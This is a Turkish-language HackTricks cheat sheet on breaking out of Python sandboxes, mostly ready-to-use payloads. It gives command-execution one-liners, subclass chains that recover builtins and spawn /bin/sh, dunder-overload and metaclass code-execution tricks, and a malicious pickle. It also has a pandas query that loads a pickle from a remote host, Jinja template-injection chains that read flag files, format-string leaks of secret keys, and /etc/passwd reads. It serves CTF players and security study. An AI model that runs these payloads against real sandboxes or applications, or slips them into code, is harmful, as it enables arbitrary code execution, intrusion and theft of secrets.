Şirketinizi HackTricks'te reklam görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
[The PEASS Family]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [NFT'lerimiz]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
Bu, python kum havuzlarını atlatmak ve keyfi komutlar yürütmek için bazı hilelerdir.
Komut Yürütme Kütüphaneleri
Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir miyim veya bu kütüphanelerden herhangi birini içe aktarabilir miyim:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Hatırlayın ki open ve read fonksiyonları, python kum havuzu içindeki dosyaları okumak ve kum havuzunu atlatmak için bazı kodlar yazmak için kullanışlı olabilir.
Python2 input() fonksiyonu programın çökmeden önce python kodunu çalıştırmasına izin verir.
Python, kütüphaneleri önceki dizinden yüklemeye çalışır (aşağıdaki komut, python'ın modülleri nereden yüklediğini yazdıracaktır): python3 -c 'import sys; print(sys.path)'
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Reverse shell oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan önce paketin sıkıştırmasını açmanız, setup.py dosyasını değiştirmeniz ve ters shell için IP'nizi girmeniz gerektiğini unutmayın:
Bu paket Reverse olarak adlandırılmaktadır. Ancak, ters shell'den çıktıktan sonra geri kalan kurulumun başarısız olması için özel olarak tasarlanmıştır, böylece sunucuda ayrıca herhangi bir ek python paketi yüklü kalmazsınız.
Python kodunu değerlendirme
exec çoklu satır dizeleri ve ";" izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
Belirli karakterler yasaklanmışsa, kısıtlamayı atlatmak için hex/octal/B64 temsilini kullanabilirsiniz:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Python kodunu değerlendirmeye izin veren diğer kütüphaneler
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operatörler ve kısa hileler
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Kod korumalarını aşma (UTF-7 ile)
Bu yazıda UFT-7, açık bir kum havuzu içinde keyfi Python kodunu yüklemek ve yürütmek için kullanılmıştır:
Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örneğin raw_unicode_escape ve unicode_escape.
Python çağrı olmadan çalıştırma
Eğer sizi çağrı yapmaya izin vermeyen bir python hapishanesinde iseniz, yine de keyfi fonksiyonlar, kod ve komutlar çalıştırmak için bazı yollar vardır.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
Uzaktan Kod Çalıştırma (RCE) nesneler oluşturarak ve aşırı yükleme yaparak
Eğer bir sınıf bildirebilir ve o sınıfın bir nesnesini oluşturabilirseniz, doğrudan çağırmadan tetiklenebilenfarklı yöntemleri yazabilir/yeniden yazabilirsiniz.
Özel sınıflarla RCE
Bazı sınıf yöntemlerini değiştirebilirsiniz (mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak), böylece doğrudan çağırmadan tetiklendiğindekeyfi kodları çalıştırabilirsiniz.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Metasınıfların bize izin verdiği temel şey, hedef sınıfın metasınıf olarak kullanıldığı yeni bir sınıf oluşturarak, doğrudan yapıcıyı çağırmadan bir sınıf örneği oluşturmaktır.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
İstisnalarla nesneler oluşturma
Bir istisna tetiklendiğinde, Exception'ın nesnesi doğrudan yapıcıyı çağırmadan oluşturulur (bir hile @_nag0mez tarafından):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Daha Fazla Uzaktan Kod Çalıştırma (RCE)
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Yerleşik yardım ve lisans ile dosya okuma
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Eğer __builtins__ nesnesine erişebilirseniz kütüphaneleri içe aktarabilirsiniz (unutmayın ki burada ayrıca son bölümde gösterilen diğer string temsillerini de kullanabilirsiniz):
__builtins__'e sahip değilseniz, hiçbir şeyi içe aktaramayacak veya hatta dosya okuyup yazamayacaksınız çünkü tüm global fonksiyonlar (örneğin open, import, print...) yüklenmemiştir.
Ancak, varsayılan olarak python birçok modülü belleğe yükler. Bu modüller zararsız görünebilir, ancak bazıları içlerinde tehlikeli işlevsellikleri de içe aktarır ki bunlara erişilerek hatta keyfi kod yürütme elde edilebilir.
Aşağıdaki örneklerde, bu "zararsız" modüllerin bazılarını istismar etmenin nasıl olduğunu gözlemleyebilir ve içlerindeki tehlikeli işlevselliğe erişebilirsiniz.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
Aşağıda daha büyük bir fonksiyon bulunmaktadır ve bu fonksiyon sayesinde builtins'i bulabileceğiniz onlarca/yüzlerce yer bulunmaktadır.
Python2 ve Python3
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Dahili yükler
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals ve locals
globals ve locals kontrol etmek, erişebileceğiniz şeyleri bilmek için iyi bir yoldur.
Burada, daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin ve daha güvenilir saldırıları önermenin nasıl olduğunu açıklamak istiyorum.
Atlatmalarla alt sınıflara erişme
Bu teknikte en hassas kısımlardan biri, temel alt sınıflara erişebilmektir. Önceki örneklerde bunu ''.__class__.__base__.__subclasses__() kullanarak yapmıştık ancak başka mümkün yollar da vardır:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Tehlikeli kütüphanelerin yüklenmesini bulma
Örneğin, sys kütüphanesi ile keyfi kütüphanelerin içe aktarılabilir olduğunu bildiğinizde, içinde sys'i içe aktaran tüm yüklenen modülleri arayabilirsiniz:
Çok fazla var, ve sadece bir tanesine ihtiyacımız var komutları yürütmek için:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Aynı şeyi yapabiliriz, bildiğimiz diğer kütüphanelerle komutları çalıştırmak için kullanılabilir:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Ayrıca, hangi modüllerin kötü amaçlı kütüphaneleri yüklediğini bile arayabiliriz:
Ayrıca, eğer diğer kütüphanelerin de komutları yürütmek için fonksiyonları çağırabileceğini düşünüyorsanız, olası kütüphanelerin içindeki fonksiyon isimlerine göre de filtreleme yapabiliriz:
Yinelemeli Arama ile Yerleşik Fonksiyonlar, Global Değişkenler...
Bu sadece harika. Eğer globals, builtins, open veya herhangi bir nesne arıyorsanız, bu betiği kullanarak o nesneyi bulabileceğiniz yerleri yinelemeli olarak bulabilirsiniz.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Bu betiğin çıktısını bu sayfada kontrol edebilirsiniz:
Eğer python'a biçimlendirilecek bir dize gönderirseniz, {} kullanarak python iç bilgilerine erişebilirsiniz. Örneğin, globals veya builtins'a erişmek için önceki örnekleri kullanabilirsiniz.
Ancak, bir kısıtlama bulunmaktadır, yalnızca .[] sembollerini kullanabilirsiniz, bu nedenle keyfi kodları yürütemezsiniz, yalnızca bilgi okuyabilirsiniz.
Bu zafiyet aracılığıyla kod yürütme konusunda bilgi sahibiyseniz, lütfen benimle iletişime geçin.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Dikkat edin ki bir nesnenin özelliklerine bir nokta ile normal bir şekilde erişebilirsiniz, örneğin people_obj.__init__, ve parantez içinde tek tırnak olmadan bir sözlük elemanına erişebilirsiniz, __globals__[CONFIG]
Ayrıca bir nesnenin elemanlarını numaralandırmak için .__dict__ kullanabilirsiniz, örneğin get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Biçim dizelerinden bazı diğer ilginç özellikler, belirtilen nesnede str, repr ve ascii fonksiyonlarını !s, !r, !a ekleyerek çalıştırma olasılığıdır:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Ayrıca, sınıflarda yeni biçimleyiciler kodlamak mümkündür:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ ve func_globals(Aynı) Global ortamı elde eder. Örnekte, içe aktarılan bazı modülleri, bazı global değişkenleri ve içeriklerini görebilirsiniz:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ ve func_code: Fonksiyonun bu özelliğine erişebilirsiniz ve fonksiyonun kod nesnesini elde edebilirsiniz.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Kod Bilgisi Almak
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Fonksiyonun bytecode'unu (get_flag.func_code.co_code) elde edebilir ve yerel olarak çözümleyebilirsiniz. Yüklenen değişkenlerin içeriğini görmeyeceksiniz (LOAD_CONST) ancak yüklenen değişkenin ofsetini belirleyebilirsiniz (LOAD_CONST) çünkü LOAD_CONST aynı zamanda yüklenen değişkenin ofsetini belirtir.
Şimdi, bir fonksiyon hakkında bilgi alabileceğinizi ancak çalıştıramayacağınızı hayal edelim.
Aşağıdaki örnekte olduğu gibi, o fonksiyonun kod nesnesine erişebilirsiniz, ancak disasemble'ı okuyarak bayrağı nasıl hesaplayacağınızı bilmiyorsunuz (daha karmaşık bir calc_flag fonksiyonunu hayal edin).
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Kod nesnesi oluşturma
İlk olarak, bir kod nesnesi oluşturup çalıştırmayı nasıl yapacağımızı bilmemiz gerekiyor, böylece sızdırılmış işlevimizi çalıştırmak için bir tane oluşturabiliriz:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Python sürümüne bağlı olarak code_type'ın parametreleri farklı bir sıraya sahip olabilir. Çalıştırdığınız python sürümündeki parametre sırasını öğrenmenin en iyi yolu şudur:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Sızdırılan bir fonksiyonun yeniden oluşturulması
Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan fonksiyon kodu nesnesinden alacağız. Bir gerçek örnekte, fonksiyonu yürütmek için gereken tüm değerlerincode_type fonksiyonunu sızdırmanız gerekecek.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Savunmaları Atlatma
Bu yazının başlangıcındaki önceki örneklerde, compile fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı görebilirsiniz. Bu ilginç çünkü döngüler ve her şeyi içeren tüm betikleri bir tek satırda çalıştırabilirsiniz (ve aynısını exec kullanarak yapabilirdik).
Neyse ki, bazen yerel bir makinede bir derlenmiş nesne oluşturmak ve bunu CTF makinesinde çalıştırmak faydalı olabilir (örneğin, CTF'de compile fonksiyonuna sahip olmadığımız için).
Örneğin, ./poc.py dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Eğer eval veya exec'e erişim sağlayamıyorsanız, genellikle doğru bir fonksiyon oluşturabilirsiniz, ancak bunu doğrudan çağırmak genellikle başarısız olacaktır: sınırlı modda erişilebilir olmayan yapılandırıcı. Bu nedenle, bu fonksiyonu çağırmak için sınırlı ortamda olmayan bir fonksiyona ihtiyacınız vardır.
Python, -O parametresi ile optimize edilerek çalıştırıldığında assert ifadelerini ve debug değerine bağlı olarak yapılan herhangi bir kodu kaldıracaktır.
Bu nedenle, şu gibi kontroller:
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")